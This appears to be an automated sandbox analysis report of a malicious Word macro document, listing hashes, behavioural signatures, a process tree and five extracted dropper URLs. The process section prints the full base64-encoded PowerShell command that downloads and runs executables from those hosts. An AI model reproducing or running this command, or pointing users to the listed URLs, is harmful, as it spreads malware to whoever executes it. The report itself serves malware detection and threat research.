Analysis

  • max time kernel
    198s
  • max time network
    208s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    21-05-2022 00:03

General

  • Target

    95486e2d7bdf753ab5dd9caeb51cbb91a06f11521db0fea52573e902a03da112.doc

  • Size

    165KB

  • MD5

    5988dff21b137091544a4ad9ae7def47

  • SHA1

    35523d127211d1b0d6d5c202e866ee1b3f62ce04

  • SHA256

    95486e2d7bdf753ab5dd9caeb51cbb91a06f11521db0fea52573e902a03da112

  • SHA512

    522fc86635dc60c34ebc5438f011cda0abca1d8f64f93355919af0b65406031290e2c8f073bfb9b214c698798062821b52c3e6f5470f4e50c2c0e33b61f6a056

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://kellydarke.com/wp-content/Sd/

exe.dropper

http://aram-designs.com/en/Z53/

exe.dropper

http://basinhayati.net/wp-admin/Q0aw/

exe.dropper

http://7cut.extroliving.com/wp-content/3LYGE/

exe.dropper

http://allcosmeticsource.com/allcosmeticsource/OT9bg/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\95486e2d7bdf753ab5dd9caeb51cbb91a06f11521db0fea52573e902a03da112.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1344
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABsAEcANAB3AFoAQQBRAEEAPQAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAEMARwBBADQAbwBEACcALAAnAFYAJwApADsAJABqAEEAWgBHADEAYwBEAGMAPQBOAGUAdwAtAGAATwBCAGAASgBFAGMAdAAgACgAJwBOAGUAdAAnACsAJwAuAFcAJwArACcAZQBiACcAKwAnAEMAJwArACcAbABpAGUAbgB0ACcAKQA7ACQAdABVAF8AeABVADQAQQBBAD0AKAAiAHsAMgA0AH0AewAyADcAfQB7ADMAOAB9AHsAMQB9AHsAMwAyAH0AewAxADEAfQB7ADMANwB9AHsAMwB9AHsAMQA4AH0AewA0AH0AewA4AH0AewA2AH0AewA0ADEAfQB7ADQAMAB9AHsAMQAwAH0AewAyADkAfQB7ADMAMwB9AHsAMAB9AHsAMwA0AH0AewA3AH0AewAxADcAfQB7ADIAMgB9AHsAMQAyAH0AewAyADgAfQB7ADEANQB9AHsAMgAzAH0AewAyADYAfQB7ADIAMAB9AHsAOQB9AHsAMwAwAH0AewAyADEAfQB7ADEANgB9AHsAMwA5AH0AewAzADUAfQB7ADEANAB9AHsAMwAxAH0AewAyADUAfQB7ADIAfQB7ADMANgB9AHsAMQAzAH0AewAxADkAfQB7ADUAfQAiAC0AZgAnAG4AcwAuAGMAbwBtAC8AJwAsACcAYwBvAG0AJwAsACcAYwBlAC4AYwBvAG0ALwAnACwAJwB0AGUAJwAsACcALwBTAGQALwAnACwAJwAvACcALAAnAGgAJwAsACcAWgA1ADMALwBAAGgAdAAnACwAJwBAACcALAAnAHAALQBjAG8AbgAnACwAJwAvAC8AYQByACcALAAnAG8AJwAsACcAZABtAGkAJwAsACcAbQBlAHQAJwAsACcAYwBvAHMAbQAnACwAJwB0ACcALAAnAEUALwBAAGgAdAB0AHAAOgAnACwAJwB0AHAAOgAvAC8AYgAnACwAJwBuAHQAJwAsACcAaQBjAHMAbwB1AHIAYwBlAC8ATwBUADkAYgBnACcALAAnAHcAJwAsACcARwAnACwAJwBhAHMAaQBuAGgAYQB5AGEAdABpAC4AbgBlAHQALwB3AHAALQBhACcALAAnAHQAcAA6AC8ALwA3AGMAdQB0AC4AZQB4AHQAcgBvAGwAJwAsACcAaAB0ACcALAAnAHIAJwAsACcAaQB2AGkAbgBnAC4AYwBvAG0ALwAnACwAJwB0AHAAOgAvAC8AawBlAGwAbAB5AGQAJwAsACcAbgAvAFEAMABhAHcALwBAAGgAJwAsACcAYQBtAC0AZABlAHMAaQAnACwAJwB0AGUAbgB0AC8AMwBMAFkAJwAsACcAZQB0AGkAYwBzAG8AdQAnACwAJwAvAHcAcAAtAGMAJwAsACcAZwAnACwAJwBlAG4ALwAnACwAJwBsACcALAAnAGEAbABsAGMAbwBzACcALAAnAG4AJwAsACcAYQByAGsAZQAuACcALAAnAC8ALwBhAGwAJwAsACcAdABwADoAJwAsACcAdAAnACkALgAiAHMAUABsAGAASQBUACIAKAAnAEAAJwApADsAJAB1AFUAYwBBAEEAUQBBAD0AKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGgAeAB4AEEAQQAnACwAJwBvADQAJwApADsAJABBAEEAUQBYAEcAQQBRACAAPQAgACcANwA3ADkAJwA7ACQAcgBEAGMAeABEAF8APQAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAEEAMQBCAEQAVQAnACwAJwBSAFEAJwApADsAJABRAFoAUQBEAEEAYwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBBAFEAWABHAEEAUQArACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAGUAJwAsACcALgBlAHgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcgBHAEEAawBVADQAQQBfACAAaQBuACAAJAB0AFUAXwB4AFUANABBAEEAKQB7AHQAcgB5AHsAJABqAEEAWgBHADEAYwBEAGMALgAiAGQAYABvAHcATgBgAGwAbwBBAEQAZgBJAGwAZQAiACgAJAByAEcAQQBrAFUANABBAF8ALAAgACQAUQBaAFEARABBAGMAKQA7ACQAbQBDAEEARwBEAEIARAA9ACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAYgBEAEEAUQBBAEIAJwAsACcAVQB4ACcAKQA7AEkAZgAgACgAKABHAGAARQBgAFQALQBJAHQAZQBtACAAJABRAFoAUQBEAEEAYwApAC4AIgBMAGAARQBuAGcAdABIACIAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBPAGsARQBgAC0ASQB0AGAARQBNACAAJABRAFoAUQBEAEEAYwA7ACQAdQBEAG8AMQBrAG8APQAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAGIAJwAsACcARABBAEMAQwBfACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABxAEEARABRAFoAQQBBAEEAPQAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAHMAUQBBAEQAbwBRAEQAJwAsACcARAAnACkAOwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1092

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1092-66-0x000007FEF3BA0000-0x000007FEF46FD000-memory.dmp
      Filesize

      11.4MB

    • memory/1092-68-0x00000000023EB000-0x000000000240A000-memory.dmp
      Filesize

      124KB

    • memory/1092-67-0x00000000023E4000-0x00000000023E7000-memory.dmp
      Filesize

      12KB

    • memory/1344-63-0x0000000000374000-0x0000000000395000-memory.dmp
      Filesize

      132KB

    • memory/1344-58-0x000000007177D000-0x0000000071788000-memory.dmp
      Filesize

      44KB

    • memory/1344-61-0x0000000000374000-0x0000000000395000-memory.dmp
      Filesize

      132KB

    • memory/1344-62-0x0000000000374000-0x0000000000395000-memory.dmp
      Filesize

      132KB

    • memory/1344-54-0x0000000072D11000-0x0000000072D14000-memory.dmp
      Filesize

      12KB

    • memory/1344-57-0x0000000075F21000-0x0000000075F23000-memory.dmp
      Filesize

      8KB

    • memory/1344-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1344-55-0x0000000070791000-0x0000000070793000-memory.dmp
      Filesize

      8KB

    • memory/1344-69-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1776-59-0x0000000000000000-mapping.dmp
    • memory/1776-60-0x000007FEFC221000-0x000007FEFC223000-memory.dmp
      Filesize

      8KB